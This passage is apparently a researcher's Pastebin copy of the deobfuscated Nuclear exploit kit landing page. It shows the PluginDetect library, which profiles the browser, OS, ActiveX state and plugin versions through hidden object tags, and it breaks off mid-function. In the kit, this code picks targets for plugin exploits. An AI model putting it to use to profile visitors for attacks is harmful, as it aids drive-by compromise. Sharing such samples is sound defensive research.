Kafeine

NuclearPack_LandingDeobfusc_2014-08-19

Aug 19th, 2014
414
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var PluginDetect = {
  2.     version: "0.8.7",
  3.     name: "PluginDetect",
  4.     openTag: "<",
  5.     hasOwnProperty: ({}).constructor.prototype.hasOwnProperty,
  6.     hasOwn: function(c, d) {
  7.         var b, a;
  8.         try {
  9.             a = this.hasOwnProperty.call(c, d)
  10.         } catch (b) {}
  11.         return !!a
  12.     },
  13.     rgx: {
  14.         str: /string/i,
  15.         num: /number/i,
  16.         fun: /function/i,
  17.         arr: /array/i,
  18.         any: /Boolean|String|Number|Function|Array|Date|RegExp|Error/i
  19.     },
  20.     toString: ({}).constructor.prototype.toString,
  21.     isPlainObject: function(c) {
  22.         var a = this,
  23.             b;
  24.         if (!c || a.rgx.any.test(a.toString.call(c)) || c.window == c || a.rgx.num.test(a.toString.call(c.nodeType))) {
  25.             return 0
  26.         }
  27.         try {
  28.             if (!a.hasOwn(c, "constructor") && !a.hasOwn(c.constructor.prototype, "isPrototypeOf")) {
  29.                 return 0
  30.             }
  31.         } catch (b) {
  32.             return 0
  33.         }
  34.         return 1
  35.     },
  36.     isDefined: function(b) {
  37.         return typeof b != "undefined"
  38.     },
  39.     isArray: function(b) {
  40.         return this.rgx.arr.test(this.toString.call(b))
  41.     },
  42.     isString: function(b) {
  43.         return this.rgx.str.test(this.toString.call(b))
  44.     },
  45.     isNum: function(b) {
  46.         return this.rgx.num.test(this.toString.call(b))
  47.     },
  48.     isStrNum: function(b) {
  49.         return this.isString(b) && (/\d/).test(b)
  50.     },
  51.     isFunc: function(b) {
  52.         return this.rgx.fun.test(this.toString.call(b))
  53.     },
  54.     getNumRegx: /[\d][\d\.\_,\-]*/,
  55.     splitNumRegx: /[\.\_,\-]/g,
  56.     getNum: function(b, c) {
  57.         var d = this,
  58.             a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
  59.         return a ? a[0] : null
  60.     },
  61.     compareNums: function(h, f, d) {
  62.         var e = this,
  63.             c, b, a, g = parseInt;
  64.         if (e.isStrNum(h) && e.isStrNum(f)) {
  65.             if (e.isDefined(d) && d.compareNums) {
  66.                 return d.compareNums(h, f)
  67.             }
  68.             c = h.split(e.splitNumRegx);
  69.             b = f.split(e.splitNumRegx);
  70.             for (a = 0; a < Math.min(c.length, b.length); a++) {
  71.                 if (g(c[a], 10) > g(b[a], 10)) {
  72.                     return 1
  73.                 }
  74.                 if (g(c[a], 10) < g(b[a], 10)) {
  75.                     return -1
  76.                 }
  77.             }
  78.         }
  79.         return 0
  80.     },
  81.     formatNum: function(b, c) {
  82.         var d = this,
  83.             a, e;
  84.         if (!d.isStrNum(b)) {
  85.             return null
  86.         }
  87.         if (!d.isNum(c)) {
  88.             c = 4
  89.         }
  90.         c--;
  91.         e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  92.         for (a = 0; a < 4; a++) {
  93.             if (/^(0+)(.+)$/.test(e[a])) {
  94.                 e[a] = RegExp.$2
  95.             }
  96.             if (a > c || !(/\d/).test(e[a])) {
  97.                 e[a] = "0"
  98.             }
  99.         }
  100.         return e.slice(0, 4).join(",")
  101.     },
  102.     getPROP: function(d, b, a) {
  103.         var c;
  104.         try {
  105.             if (d) {
  106.                 a = d[b]
  107.             }
  108.         } catch (c) {}
  109.         return a
  110.     },
  111.     findNavPlugin: function(h) {
  112.         if (h.dbug) {
  113.             return h.dbug
  114.         }
  115.         if (window.navigator) {
  116.             var d = this,
  117.                 n = {
  118.                     Find: d.isString(h.find) ? new RegExp(h.find, "i") : h.find,
  119.                     Find2: d.isString(h.find2) ? new RegExp(h.find2, "i") : h.find2,
  120.                     Avoid: h.avoid ? (d.isString(h.avoid) ? new RegExp(h.avoid, "i") : h.avoid) : 0,
  121.                     Num: h.num ? /\d/ : 0
  122.                 },
  123.                 f, c, g, j, m, l, b, a = navigator.mimeTypes,
  124.                 k = navigator.plugins,
  125.                 o = null;
  126.             if (h.mimes && a) {
  127.                 m = d.isArray(h.mimes) ? [].concat(h.mimes) : (d.isString(h.mimes) ? [h.mimes] : []);
  128.                 for (f = 0; f < m.length; f++) {
  129.                     c = 0;
  130.                     try {
  131.                         if (d.isString(m[f]) && /[^\s]/.test(m[f])) {
  132.                             c = a[m[f]].enabledPlugin
  133.                         }
  134.                     } catch (j) {}
  135.                     if (c) {
  136.                         g = d.findNavPlugin_(c, n);
  137.                         if (g.obj) {
  138.                             o = g.obj
  139.                         };
  140.                         if (o && !d.dbug) {
  141.                             return o
  142.                         }
  143.                     }
  144.                 }
  145.             }
  146.             if (h.plugins && k) {
  147.                 l = d.isArray(h.plugins) ? [].concat(h.plugins) : (d.isString(h.plugins) ? [h.plugins] : []);
  148.                 for (f = 0; f < l.length; f++) {
  149.                     c = 0;
  150.                     try {
  151.                         if (l[f] && d.isString(l[f])) {
  152.                             c = k[l[f]]
  153.                         }
  154.                     } catch (j) {}
  155.                     if (c) {
  156.                         g = d.findNavPlugin_(c, n);
  157.                         if (g.obj) {
  158.                             o = g.obj
  159.                         };
  160.                         if (o && !d.dbug) {
  161.                             return o
  162.                         }
  163.                     }
  164.                 }
  165.                 b = k.length;
  166.                 if (d.isNum(b)) {
  167.                     for (f = 0; f < b; f++) {
  168.                         c = 0;
  169.                         try {
  170.                             c = k[f]
  171.                         } catch (j) {}
  172.                         if (c) {
  173.                             g = d.findNavPlugin_(c, n);
  174.                             if (g.obj) {
  175.                                 o = g.obj
  176.                             };
  177.                             if (o && !d.dbug) {
  178.                                 return o
  179.                             }
  180.                         }
  181.                     }
  182.                 }
  183.             }
  184.         }
  185.         return o
  186.     },
  187.     findNavPlugin_: function(f, d) {
  188.         var e = this,
  189.             c = f.description || "",
  190.             b = f.name || "",
  191.             a = {};
  192.         if ((d.Find.test(c) && (!d.Find2 || d.Find2.test(b)) && (!d.Num || d.Num.test(RegExp.leftContext + RegExp.rightContext))) || (d.Find.test(b) && (!d.Find2 || d.Find2.test(c)) && (!d.Num || d.Num.test(RegExp.leftContext + RegExp.rightContext)))) {
  193.             if (!d.Avoid || !(d.Avoid.test(c) || d.Avoid.test(b))) {
  194.                 a.obj = f
  195.             }
  196.         }
  197.         return a
  198.     },
  199.     getVersionDelimiter: ",",
  200.     findPlugin: function(d) {
  201.         var c = this,
  202.             b, d, a = {
  203.                 status: -3,
  204.                 plugin: 0
  205.             };
  206.         if (!c.isString(d)) {
  207.             return a
  208.         }
  209.         if (d.length == 1) {
  210.             c.getVersionDelimiter = d;
  211.             return a
  212.         }
  213.         d = d.toLowerCase().replace(/\s/g, "");
  214.         b = c.Plugins[d];
  215.         if (!b || !b.getVersion) {
  216.             return a
  217.         }
  218.         a.plugin = b;
  219.         a.status = 1;
  220.         return a
  221.     },
  222.     getPluginFileVersion: function(d, h) {
  223.         var b = this,
  224.             a, c, i, j, f = -1,
  225.             g;
  226.         if (!d) {
  227.             return h
  228.         }
  229.         if (d.version) {
  230.             a = b.getNum(d.version + "")
  231.         };
  232.         if (!a || !h) {
  233.             return h || a || null
  234.         }
  235.         a = b.formatNum(a);
  236.         h = b.formatNum(h);
  237.         c = h.split(b.splitNumRegx);
  238.         i = a.split(b.splitNumRegx);
  239.         for (j = 0; j < c.length; j++) {
  240.             if (f > -1 && j > f && c[j] != "0") {
  241.                 return h
  242.             }
  243.             if (i[j] != c[j]) {
  244.                 if (f == -1) {
  245.                     f = j
  246.                 }
  247.                 if (c[j] != "0") {
  248.                     return h
  249.                 }
  250.             }
  251.         }
  252.         return a
  253.     },
  254.     AXO: (function() {
  255.         var b, a;
  256.         try {
  257.             b = new window.ActiveXObject()
  258.         } catch (a) {}
  259.         return b ? null : window.ActiveXObject
  260.     })(),
  261.     getAXO: function(a) {
  262.         var d = null,
  263.             c, b = this;
  264.         try {
  265.             d = new b.AXO(a)
  266.         } catch (c) {};
  267.         if (d) {
  268.             b.browser.ActiveXEnabled = !0
  269.         }
  270.         return d
  271.     },
  272.     browser: {},
  273.     INIT: function() {
  274.         this.init.library(this)
  275.     },
  276.     init: {
  277.         $: 1,
  278.         hasRun: 0,
  279.         objProperties: function(d, e, c) {
  280.             var a, b = {};
  281.             if (e && c) {
  282.                 if (e[c[0]] === 1 && d.hasOwn(e, c[0]) && d.isPlainObject(e)) {
  283.                     for (a = 0; a < c.length; a = a + 2) {
  284.                         e[c[a]] = c[a + 1];
  285.                         b[c[a]] = 1
  286.                     }
  287.                 }
  288.                 for (a in e) {
  289.                     if (e[a] && e[a][c[0]] === 1 && d.hasOwn(e, a) && !d.hasOwn(b, a)) {
  290.                         this.objProperties(d, e[a], c)
  291.                     }
  292.                 }
  293.             }
  294.         },
  295.         plugin: function(a, c) {
  296.             var d = this,
  297.                 b = d.$;
  298.             if (b.isPlainObject(a) && b.isFunc(a.getVersion)) {
  299.                 if (!b.isDefined(a.getVersionDone)) {
  300.                     a.installed = null;
  301.                     a.version = null;
  302.                     a.version0 = null;
  303.                     a.getVersionDone = null;
  304.                     a.pluginName = c
  305.                 }
  306.                 d.objProperties(b, a, ["$", b, "$$", a])
  307.             }
  308.         },
  309.         detectIE: function() {
  310.             var init = this,
  311.                 $ = init.$,
  312.                 browser = $.browser,
  313.                 doc = document,
  314.                 e, x, tmp, userAgent = window.navigator ? navigator.userAgent || "" : "",
  315.                 progid, progid1, progid2;
  316.             browser.ActiveXFilteringEnabled = !1;
  317.             browser.ActiveXEnabled = !1;
  318.             try {
  319.                 browser.ActiveXFilteringEnabled = !!window.external.msActiveXFilteringEnabled()
  320.             } catch (e) {}
  321.             progid1 = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "TDCCtl.TDCCtl", "Shell.UIHelper", "HtmlDlgSafeHelper.HtmlDlgSafeHelper", "Scripting.Dictionary"];
  322.             progid2 = ["WMPlayer.OCX", "ShockwaveFlash.ShockwaveFlash", "AgControl.AgControl"];
  323.             progid = progid1.concat(progid2);
  324.             for (x = 0; x < progid.length; x++) {
  325.                 if ($.getAXO(progid[x]) && !$.dbug) {
  326.                     break
  327.                 }
  328.             }
  329.             if (browser.ActiveXEnabled && browser.ActiveXFilteringEnabled) {
  330.                 for (x = 0; x < progid2.length; x++) {
  331.                     if ($.getAXO(progid2[x])) {
  332.                         browser.ActiveXFilteringEnabled = !1;
  333.                         break
  334.                     }
  335.                 }
  336.             };
  337.             tmp = doc.documentMode;
  338.             try {
  339.                 doc.documentMode = ""
  340.             } catch (e) {}
  341.             browser.isIE = browser.ActiveXEnabled || $.isNum(doc.documentMode) || eval("/*@cc_on!@*/!1");
  342.             try {
  343.                 doc.documentMode = tmp
  344.             } catch (e) {};
  345.             browser.verIE = null;
  346.             if (browser.isIE) {
  347.                 browser.verIE = ($.isNum(doc.documentMode) && doc.documentMode >= 7 ? doc.documentMode : 0) || ((/^(?:.*?[^a-zA-Z])??(?:MSIE|rv\s*\:)\s*(\d+\.?\d*)/i).test(userAgent) ? parseFloat(RegExp.$1, 10) : 7)
  348.             }
  349.         },
  350.         detectNonIE: function() {
  351.             var f = this,
  352.                 d = this.$,
  353.                 a = d.browser,
  354.                 e = window.navigator ? navigator : {},
  355.                 c = a.isIE ? "" : e.userAgent || "",
  356.                 g = e.vendor || "",
  357.                 b = e.product || "";
  358.             a.isGecko = (/Gecko/i).test(b) && (/Gecko\s*\/\s*\d/i).test(c);
  359.             a.verGecko = a.isGecko ? d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(c) ? RegExp.$1 : "0.9") : null;
  360.             a.isChrome = (/(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i).test(c);
  361.             a.verChrome = a.isChrome ? d.formatNum(RegExp.$2) : null;
  362.             a.isSafari = !a.isChrome && ((/Apple/i).test(g) || !g) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(c);
  363.             a.verSafari = a.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(c) ? d.formatNum(RegExp.$1) : null;
  364.             a.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(c);
  365.             a.verOpera = a.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(c) || 1) ? parseFloat(RegExp.$1, 10) : null
  366.         },
  367.         detectPlatform: function() {
  368.             var e = this,
  369.                 d = e.$,
  370.                 b, a = window.navigator ? navigator.platform || "" : "";
  371.             d.OS = 100;
  372.             if (a) {
  373.                 var c = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "", 100];
  374.                 for (b = c.length - 2; b >= 0; b = b - 2) {
  375.                     if (c[b] && new RegExp(c[b], "i").test(a)) {
  376.                         d.OS = c[b + 1];
  377.                         break
  378.                     }
  379.                 }
  380.             }
  381.         },
  382.         library: function(b) {
  383.             var d = this,
  384.                 c = document,
  385.                 a;
  386.             d.objProperties(b, b, ["$", b]);
  387.             for (a in b.Plugins) {
  388.                 if (b.hasOwn(b.Plugins, a)) {
  389.                     d.plugin(b.Plugins[a], a)
  390.                 }
  391.             };
  392.             b.PUBLIC.init();
  393.             b.win.init();
  394.             b.head = c.getElementsByTagName("head")[0] || c.getElementsByTagName("body")[0] || c.body || null;
  395.             d.detectPlatform();
  396.             d.detectIE();
  397.             d.detectNonIE();
  398.             d.hasRun = 1
  399.         }
  400.     },
  401.     ev: {
  402.         $: 1,
  403.         handler: function(d, c, b, a) {
  404.             return function() {
  405.                 d(c, b, a)
  406.             }
  407.         },
  408.         fPush: function(b, a) {
  409.             var c = this,
  410.                 d = c.$;
  411.             if (d.isArray(a) && (d.isFunc(b) || (d.isArray(b) && b.length > 0 && d.isFunc(b[0])))) {
  412.                 a.push(b)
  413.             }
  414.         },
  415.         call0: function(d) {
  416.             var b = this,
  417.                 c = b.$,
  418.                 a = c.isArray(d) ? d.length : -1;
  419.             if (a > 0 && c.isFunc(d[0])) {
  420.                 d[0](c, a > 1 ? d[1] : 0, a > 2 ? d[2] : 0, a > 3 ? d[3] : 0)
  421.             } else {
  422.                 if (c.isFunc(d)) {
  423.                     d(c)
  424.                 }
  425.             }
  426.         },
  427.         callArray0: function(a) {
  428.             var b = this,
  429.                 d = b.$,
  430.                 c;
  431.             if (d.isArray(a)) {
  432.                 while (a.length) {
  433.                     c = a[0];
  434.                     a.splice(0, 1);
  435.                     b.call0(c)
  436.                 }
  437.             }
  438.         },
  439.         call: function(b) {
  440.             var a = this;
  441.             a.call0(b);
  442.             a.ifDetectDoneCallHndlrs()
  443.         },
  444.         callArray: function(a) {
  445.             var b = this;
  446.             b.callArray0(a);
  447.             b.ifDetectDoneCallHndlrs()
  448.         },
  449.         allDoneHndlrs: [],
  450.         ifDetectDoneCallHndlrs: function() {
  451.             var c = this,
  452.                 d = c.$,
  453.                 a, b;
  454.             if (!c.allDoneHndlrs.length) {
  455.                 return
  456.             }
  457.             if (d.win) {
  458.                 if (!d.win.loaded || d.win.loadPrvtHndlrs.length || d.win.loadPblcHndlrs.length) {
  459.                     return
  460.                 }
  461.             }
  462.             if (d.Plugins) {
  463.                 for (a in d.Plugins) {
  464.                     b = d.Plugins[a];
  465.                     if (d.hasOwn(d.Plugins, a) && b && d.isFunc(b.getVersion)) {
  466.                         if (b.OTF == 3 || (b.DoneHndlrs && b.DoneHndlrs.length)) {
  467.                             return
  468.                         }
  469.                     }
  470.                 }
  471.             };
  472.             c.callArray0(c.allDoneHndlrs)
  473.         }
  474.     },
  475.     PUBLIC: {
  476.         $: 1,
  477.         init: function() {
  478.             var c = this,
  479.                 b = c.$,
  480.                 a;
  481.             for (a in c) {
  482.                 if (a !== "init" && b.hasOwn(c, a) && b.isFunc(c[a])) {
  483.                     b[a] = c[a](b)
  484.                 }
  485.             }
  486.         },
  487.         isMinVersion: function(b) {
  488.             var a = function(j, h, e, d) {
  489.                 var f = b.findPlugin(j),
  490.                     g, c = -1;
  491.                 if (f.status < 0) {
  492.                     return f.status
  493.                 }
  494.                 g = f.plugin;
  495.                 h = b.formatNum(b.isNum(h) ? h.toString() : (b.isStrNum(h) ? b.getNum(h) : "0"));
  496.                 if (g.getVersionDone != 1) {
  497.                     g.getVersion(h, e, d);
  498.                     if (g.getVersionDone === null) {
  499.                         g.getVersionDone = 1
  500.                     }
  501.                 }
  502.                 if (g.installed !== null) {
  503.                     c = g.installed <= 0.5 ? g.installed : (g.installed == 0.7 ? 1 : (g.version === null ? 0 : (b.compareNums(g.version, h, g) >= 0 ? 1 : -0.1)))
  504.                 };
  505.                 return c
  506.             };
  507.             return a
  508.         },
  509.         getVersion: function(b) {
  510.             var a = function(h, e, d) {
  511.                 var f = b.findPlugin(h),
  512.                     g, c;
  513.                 if (f.status < 0) {
  514.                     return null
  515.                 };
  516.                 g = f.plugin;
  517.                 if (g.getVersionDone != 1) {
  518.                     g.getVersion(null, e, d);
  519.                     if (g.getVersionDone === null) {
  520.                         g.getVersionDone = 1
  521.                     }
  522.                 }
  523.                 c = (g.version || g.version0);
  524.                 c = c ? c.replace(b.splitNumRegx, b.getVersionDelimiter) : c;
  525.                 return c
  526.             };
  527.             return a
  528.         },
  529.         onDetectionDone: function(b) {
  530.             var a = function(j, h, d, c) {
  531.                 var e = b.findPlugin(j),
  532.                     k, g;
  533.                 if (e.status == -3) {
  534.                     return -1
  535.                 }
  536.                 g = e.plugin;
  537.                 if (!b.isArray(g.DoneHndlrs)) {
  538.                     g.DoneHndlrs = []
  539.                 };
  540.                 if (g.getVersionDone != 1) {
  541.                     k = b.getVersion ? b.getVersion(j, d, c) : b.isMinVersion(j, "0", d, c)
  542.                 }
  543.                 if (g.installed != -0.5 && g.installed != 0.5) {
  544.                     b.ev.call(h);
  545.                     return 1
  546.                 }
  547.                 b.ev.fPush(h, g.DoneHndlrs);
  548.                 return 0
  549.             };
  550.             return a
  551.         },
  552.         hasMimeType: function(b) {
  553.             var a = function(h) {
  554.                 if (h && window.navigator && navigator.mimeTypes) {
  555.                     var l, k, d, j, g, c = navigator.mimeTypes,
  556.                         f = b.isArray(h) ? [].concat(h) : (b.isString(h) ? [h] : []);
  557.                     g = f.length;
  558.                     for (d = 0; d < g; d++) {
  559.                         l = 0;
  560.                         try {
  561.                             if (b.isString(f[d]) && /[^\s]/.test(f[d])) {
  562.                                 l = c[f[d]]
  563.                             }
  564.                         } catch (j) {}
  565.                         k = l ? l.enabledPlugin : 0;
  566.                         if (k && (k.name || k.description)) {
  567.                             return l
  568.                         }
  569.                     }
  570.                 };
  571.                 return null
  572.             };
  573.             return a
  574.         },
  575.         z: 0
  576.     },
  577.     codebase: {
  578.         $: 1,
  579.         isDisabled: function() {
  580.             var b = this,
  581.                 c = b.$,
  582.                 a = c.browser;
  583.             return a.ActiveXEnabled && a.isIE && a.verIE >= 7 ? 0 : 1
  584.         },
  585.         pluginMayBeHanging: function(b) {
  586.             var c = this,
  587.                 d = c.$,
  588.                 a;
  589.             if (!c.isDisabled() && b && d.isDefined(d.getPROP(b, "readyState")) && d.getPROP(b.firstChild, "object")) {
  590.                 a = d.getPROP(b.firstChild, "readyState");
  591.                 if (d.isNum(a) && a != 4) {
  592.                     return 1
  593.                 }
  594.             }
  595.             return 0
  596.         },
  597.         emptyNode: function(b) {
  598.             var a = this,
  599.                 c = a.$,
  600.                 d;
  601.             try {
  602.                 b.innerHTML = ""
  603.             } catch (d) {}
  604.         },
  605.         emptyGarbage: function() {
  606.             var c = this,
  607.                 d = c.$,
  608.                 f, a, g = c.HTML,
  609.                 b = 0;
  610.             if (!g.length) {
  611.                 return
  612.             };
  613.             for (a = g.length - 1; a >= c.len; a--) {
  614.                 if (g[a] && g[a].span && c.pluginMayBeHanging(g[a].span)) {
  615.                     c.emptyNode(g[a].span);
  616.                     g[a].span = null;
  617.                     b = 1
  618.                 }
  619.             }
  620.             c.len = g.length;
  621.             if (b) {
  622.                 try {
  623.                     window.CollectGarbage()
  624.                 } catch (f) {}
  625.             }
  626.         },
  627.         HTML: [],
  628.         len: 0,
  629.         onDone: function(c, b) {
  630.             var a, f = b.HTML,
  631.                 d;
  632.             for (a = 0; a < f.length; a++) {
  633.                 if (f[a] && f[a].span) {
  634.                     b.emptyNode(f[a].span);
  635.                     f[a].span = null
  636.                 }
  637.             }
  638.         },
  639.         init: function(e) {
  640.             if (!e.init) {
  641.                 e.init = 1;
  642.                 var c = this,
  643.                     d = c.$,
  644.                     a, b;
  645.                 d.ev.fPush([c.onDone, c], d.win.unloadHndlrs);
  646.                 e.tagA = '<object width="1" height="1" style="display:none;" codebase="#version=';
  647.                 b = e.classID || e.$$.classID || "";
  648.                 e.tagB = '" ' + ((/clsid\s*:/i).test(b) ? 'classid="' : 'type="') + b + '">' + d.openTag + "/object>";
  649.                 for (a = 0; a < e.Lower.length; a++) {
  650.                     e.Lower[a] = d.formatNum(e.Lower[a]);
  651.                     e.Upper[a] = d.formatNum(e.Upper[a])
  652.                 }
  653.             }
  654.         },
  655.         isActiveXObject: function(i, b) {
  656.             var f = this,
  657.                 g = f.$,
  658.                 a = 0,
  659.                 h, d = i.$$,
  660.                 c = document.createElement("span");
  661.             if (i.min && g.compareNums(b, i.min) <= 0) {
  662.                 return 1
  663.             }
  664.             if (i.max && g.compareNums(b, i.max) >= 0) {
  665.                 return 0
  666.             }
  667.             c.innerHTML = i.tagA + b + i.tagB;
  668.             if (g.getPROP(c.firstChild, "object")) {
  669.                 a = 1
  670.             };
  671.             if (a) {
  672.                 i.min = b;
  673.                 f.HTML.push({
  674.                     span: c
  675.                 })
  676.             } else {
  677.                 i.max = b;
  678.                 c.innerHTML = ""
  679.             }
  680.             return a
  681.         },
  682.         convert_: function(f, a, b, e) {
  683.             var d = f.convert[a],
  684.                 c = f.$;
  685.             return d ? (c.isFunc(d) ? c.formatNum(d(b.split(c.splitNumRegx), e).join(",")) : b) : d
  686.         },
  687.         convert: function(h, c, g) {
  688.             var e = this,
  689.                 f = h.$,
  690.                 b, a, d;
  691.             c = f.formatNum(c);
  692.             a = {
  693.                 v: c,
  694.                 x: -1
  695.             };
  696.             if (c) {
  697.                 for (b = 0; b < h.Lower.length; b++) {
  698.                     d = e.convert_(h, b, h.Lower[b]);
  699.                     if (d && f.compareNums(c, g ? d : h.Lower[b]) >= 0 && (!b || f.compareNums(c, g ? e.convert_(h, b, h.Upper[b]) : h.Upper[b]) < 0)) {
  700.                         a.v = e.convert_(h, b, c, g);
  701.                         a.x = b;
  702.                         break
  703.                     }
  704.                 }
  705.             }
  706.             return a
  707.         },
  708.         isMin: function(g, f) {
  709.             var d = this,
  710.                 e = g.$,
  711.                 c, b, a = 0;
  712.             if (!e.isStrNum(f) || d.isDisabled()) {
  713.                 return a
  714.             }
  715.             d.init(g);
  716.             if (!g.L) {
  717.                 g.L = {};
  718.                 for (c = 0; c < g.Lower.length; c++) {
  719.                     if (d.isActiveXObject(g, g.Lower[c])) {
  720.                         g.L = d.convert(g, g.Lower[c]);
  721.                         break
  722.                     }
  723.                 }
  724.             }
  725.             if (g.L.v) {
  726.                 b = d.convert(g, f, 1);
  727.                 if (b.x >= 0) {
  728.                     a = (g.L.x == b.x ? d.isActiveXObject(g, b.v) : e.compareNums(f, g.L.v) <= 0) ? 1 : -1
  729.                 }
  730.             };
  731.             return a
  732.         },
  733.         search: function(g) {
  734.             var k = this,
  735.                 h = k.$,
  736.                 i = g.$$,
  737.                 b = 0,
  738.                 c;
  739.             c = g.searchHasRun || k.isDisabled() ? 1 : 0;
  740.             g.searchHasRun = 1;
  741.             if (c) {
  742.                 return g.version || null
  743.             }
  744.             k.init(g);
  745.             var o, n, m, j = function(q, t) {
  746.                     var r = [].concat(f),
  747.                         s;
  748.                     r[q] = t;
  749.                     s = k.isActiveXObject(g, r.join(","));
  750.                     if (s) {
  751.                         b = 1;
  752.                         f[q] = t
  753.                     } else {
  754.                         p[q] = t
  755.                     }
  756.                     return s
  757.                 },
  758.                 d = g.DIGITMAX,
  759.                 e, a, l = 99999999,
  760.                 f = [0, 0, 0, 0],
  761.                 p = [0, 0, 0, 0];
  762.             for (o = 0; o < p.length; o++) {
  763.                 f[o] = Math.floor(g.DIGITMIN[o]) || 0;
  764.                 e = f.join(",");
  765.                 a = f.slice(0, o).concat([l, l, l, l]).slice(0, f.length).join(",");
  766.                 for (m = 0; m < d.length; m++) {
  767.                     if (h.isArray(d[m])) {
  768.                         d[m].push(0);
  769.                         if (d[m][o] > p[o] && h.compareNums(a, g.Lower[m]) >= 0 && h.compareNums(e, g.Upper[m]) < 0) {
  770.                             p[o] = Math.floor(d[m][o])
  771.                         }
  772.                     }
  773.                 }
  774.                 for (n = 0; n < 30; n++) {
  775.                     if (p[o] - f[o] <= 16) {
  776.                         for (m = p[o]; m >= f[o] + (o ? 1 : 0); m--) {
  777.                             if (j(o, m)) {
  778.                                 break
  779.                             }
  780.                         }
  781.                         break
  782.                     }
  783.                     j(o, Math.round((p[o] + f[o]) / 2))
  784.                 }
  785.                 if (!b) {
  786.                     break
  787.                 }
  788.                 p[o] = f[o]
  789.             }
  790.             if (b) {
  791.                 g.version = k.convert(g, f.join(",")).v
  792.             };
  793.             return g.version || null
  794.         }
  795.     },
  796.     win: {
  797.         $: 1,
  798.         loaded: false,
  799.         hasRun: 0,
  800.         init: function() {
  801.             var b = this,
  802.                 a = b.$;
  803.             if (!b.hasRun) {
  804.                 b.hasRun = 1;
  805.                 b.onLoad = a.ev.handler(b.$$onLoad, a);
  806.                 b.onUnload = a.ev.handler(b.$$onUnload, a);
  807.                 b.addEvent("load", b.onLoad);
  808.                 b.addEvent("unload", b.onUnload)
  809.             }
  810.         },
  811.         addEvent: function(c, b) {
  812.             var e = this,
  813.                 d = e.$,
  814.                 a = window;
  815.             if (d.isFunc(b)) {
  816.                 if (a.addEventListener) {
  817.                     a.addEventListener(c, b, false)
  818.                 } else {
  819.                     if (a.attachEvent) {
  820.                         a.attachEvent("on" + c, b)
  821.                     } else {
  822.                         a["on" + c] = e.concatFn(b, a["on" + c])
  823.                     }
  824.                 }
  825.             }
  826.         },
  827.         concatFn: function(d, c) {
  828.             return function() {
  829.                 d();
  830.                 if (typeof c == "function") {
  831.                     c()
  832.                 }
  833.             }
  834.         },
  835.         loadPrvtHndlrs: [],
  836.         loadPblcHndlrs: [],
  837.         unloadHndlrs: [],
  838.         $$onUnload: function(b) {
  839.             if (b && b.win) {
  840.                 b.ev.callArray(b.win.unloadHndlrs);
  841.                 for (var a in b) {
  842.                     b[a] = 0
  843.                 }
  844.                 b = 0
  845.             }
  846.         },
  847.         count: 0,
  848.         countMax: 1,
  849.         intervalLength: 10,
  850.         $$onLoad: function(a) {
  851.             if (!a || a.win.loaded) {
  852.                 return
  853.             }
  854.             var b = a.win;
  855.             if (b.count < b.countMax && b.loadPrvtHndlrs.length) {
  856.                 setTimeout(b.onLoad, b.intervalLength)
  857.             } else {
  858.                 b.loaded = true;
  859.                 a.ev.callArray(b.loadPrvtHndlrs);
  860.                 a.ev.callArray(b.loadPblcHndlrs)
  861.             }
  862.             b.count++
  863.         }
  864.     },
  865.     DOM: {
  866.         $: 1,
  867.         isEnabled: {
  868.             $: 1,
  869.             objectTag: function() {
  870.                 var a = this.$;
  871.                 return a.browser.isIE ? a.browser.ActiveXEnabled : 1
  872.             },
  873.             objectTagUsingActiveX: function() {
  874.                 return this.$.browser.ActiveXEnabled
  875.             },
  876.             objectProperty: function() {
  877.                 var a = this.$;
  878.                 return a.browser.isIE && a.browser.verIE >= 7 ? 1 : 0
  879.             }
  880.         },
  881.         div: null,
  882.         divID: "plugindetect",
  883.         divWidth: 300,
  884.         getDiv: function() {
  885.             var a = this;
  886.             return a.div || document.getElementById(a.divID) || null
  887.         },
  888.         initDiv: function() {
  889.             var b = this,
  890.                 c = b.$,
  891.                 a;
  892.             if (!b.div) {
  893.                 a = b.getDiv();
  894.                 if (a) {
  895.                     b.div = a
  896.                 } else {
  897.                     b.div = document.createElement("div");
  898.                     b.div.id = b.divID;
  899.                     b.setStyle(b.div, b.getStyle.div());
  900.                     b.insertDivInBody(b.div)
  901.                 }
  902.                 c.ev.fPush([b.onWinUnloadEmptyDiv, b], c.win.unloadHndlrs)
  903.             }
  904.         },
  905.         pluginSize: 1,
  906.         altHTML: "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;",
  907.         emptyNode: function(c) {
  908.             var b = this,
  909.                 d = b.$,
  910.                 a, f;
  911.             if (c && (/div|span/i).test(c.tagName || "")) {
  912.                 if (d.browser.isIE) {
  913.                     b.setStyle(c, ["display", "none"])
  914.                 }
  915.                 try {
  916.                     c.innerHTML = ""
  917.                 } catch (f) {}
  918.             }
  919.         },
  920.         onWinUnloadEmptyDiv: function(f, d) {
  921.             var b = d.getDiv(),
  922.                 a, c, g;
  923.             if (b) {
  924.                 if (b.childNodes) {
  925.                     for (a = b.childNodes.length - 1; a >= 0; a--) {
  926.                         c = b.childNodes[a];
  927.                         d.emptyNode(c)
  928.                     }
  929.                     try {
  930.                         b.innerHTML = ""
  931.                     } catch (g) {}
  932.                 }
  933.                 if (b.parentNode) {
  934.                     try {
  935.                         b.parentNode.removeChild(b)
  936.                     } catch (g) {}
  937.                     b = null;
  938.                     d.div = null
  939.                 }
  940.             }
  941.         },
  942.         width: function() {
  943.             var g = this,
  944.                 e = g.DOM,
  945.                 f = e.$,
  946.                 d = g.span,
  947.                 b, c, a = -1;
  948.             b = d && f.isNum(d.scrollWidth) ? d.scrollWidth : a;
  949.             c = d && f.isNum(d.offsetWidth) ? d.offsetWidth : a;
  950.             return c > 0 ? c : (b > 0 ? b : Math.max(c, b))
